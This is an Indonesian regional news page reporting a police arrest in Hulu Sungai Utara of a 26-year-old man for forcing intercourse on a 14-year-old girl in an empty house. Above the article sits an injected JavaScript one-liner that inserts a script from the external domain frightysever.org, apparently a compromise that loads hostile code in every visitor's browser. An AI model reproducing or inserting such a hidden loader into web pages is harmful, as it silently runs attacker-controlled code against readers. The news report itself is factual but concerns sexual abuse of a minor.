(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Berdalih ke Rumah Tantenya, Korban ‘Digarap’ Pelaku FA di Rumah Kosong


AMUNTAI, Unit Reskrim Polsek Danau Panggang berhasil meringkus tersangka persetubuhan dengan anak di bawah umur yang terjadi di sebuah rumah kosong, di Desa Palukahan, Kecamatan Danau Panggang, Kabupaten Hulu Sungai Utara, Rabu (20/6).

FA (26) warga Desa Palukahan Kecamatan Danau Panggang Kabupaten HSU yang diketahui telah melakukan persetubuhan terhadap korbannya yang baru berumur 14 tahun yaitu SA. Peristiwa memilukan ini terjadi pada Jumat (15/6) pukul 21.00 Wita.

Saat itu, SA pamit kepada ayahnya dari rumah untuk pergi ke rumah tantenya. Karena sampai malam SA belum pulang ke rumah, ayah korban berinisiatif menyusul dan mencari ke rumah tantenya tersebut. Namun, sesampainya di sana keberadaan korban tidak ditemukan.

Kapolres HSU AKBP Agus Sudaryatno, SIK, MH, melalui Kapolsek Danau Panggang Ipda Siswadi, SH  menjelasakan adanya kecurigaan dari ayah korban bahwa anaknya tersebut sedang pacaran dengan tersangka FA.

“Ayah korban curiga anaknya tersebut sedak asik berpacaran dengan tersangka FA, yang kemudian meminta tolong kepada para kerabat untuk membantu mencari keberadaan SA,” ungkapnya.

Benar saja, selang beberapa jam sekitar pukul 24.00 Wita, SA ditemukan di dalam sebuah rumah kosong yang terkunci dari luar seorang diri. Korban pun dibawa pulang ke rumah dan setelah ditanya orang tuanya, SA mengakui baru saja disetubuhi FA dengan cara dipaksa di rumah kosong tersebut.

Tidak terima akan perlakuan FA terhadap anaknya, orang tua korban melaporkan kejadian ke Polsek Danau Panggang untuk proses lebih lanjut.

Menangapi laporan tersebut, pada hari Rabu (20/6) sekitar pukul 11.30 Wita, Unit Reskrim Polsek Danau Panggang melakukan penangkapan terhadap tersangka FA di pinggir Jalan Desa Palukahan. Selanjutnya tersangka dan barang bukti dibawa ke Polsek Danau Panggang guna proses lebih lanjut.

“Tersangka sudah kami amankan guna proses lebih lanjut, barang bukti beberapa lemba pakaian korban dan tersangka juga diamankan. Untuk pasal yang kita kenakan Pasal 81 UU RI No.35 Tahun 2014 tentang perubahan atas UU RI No.23 Tahun 2002 tentang Perlindungan Anak” pungkas Kapolsek Danau Panggang Ipda Siswadi, SH.(rico)

Reporter:Rico
Editor: Cell

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.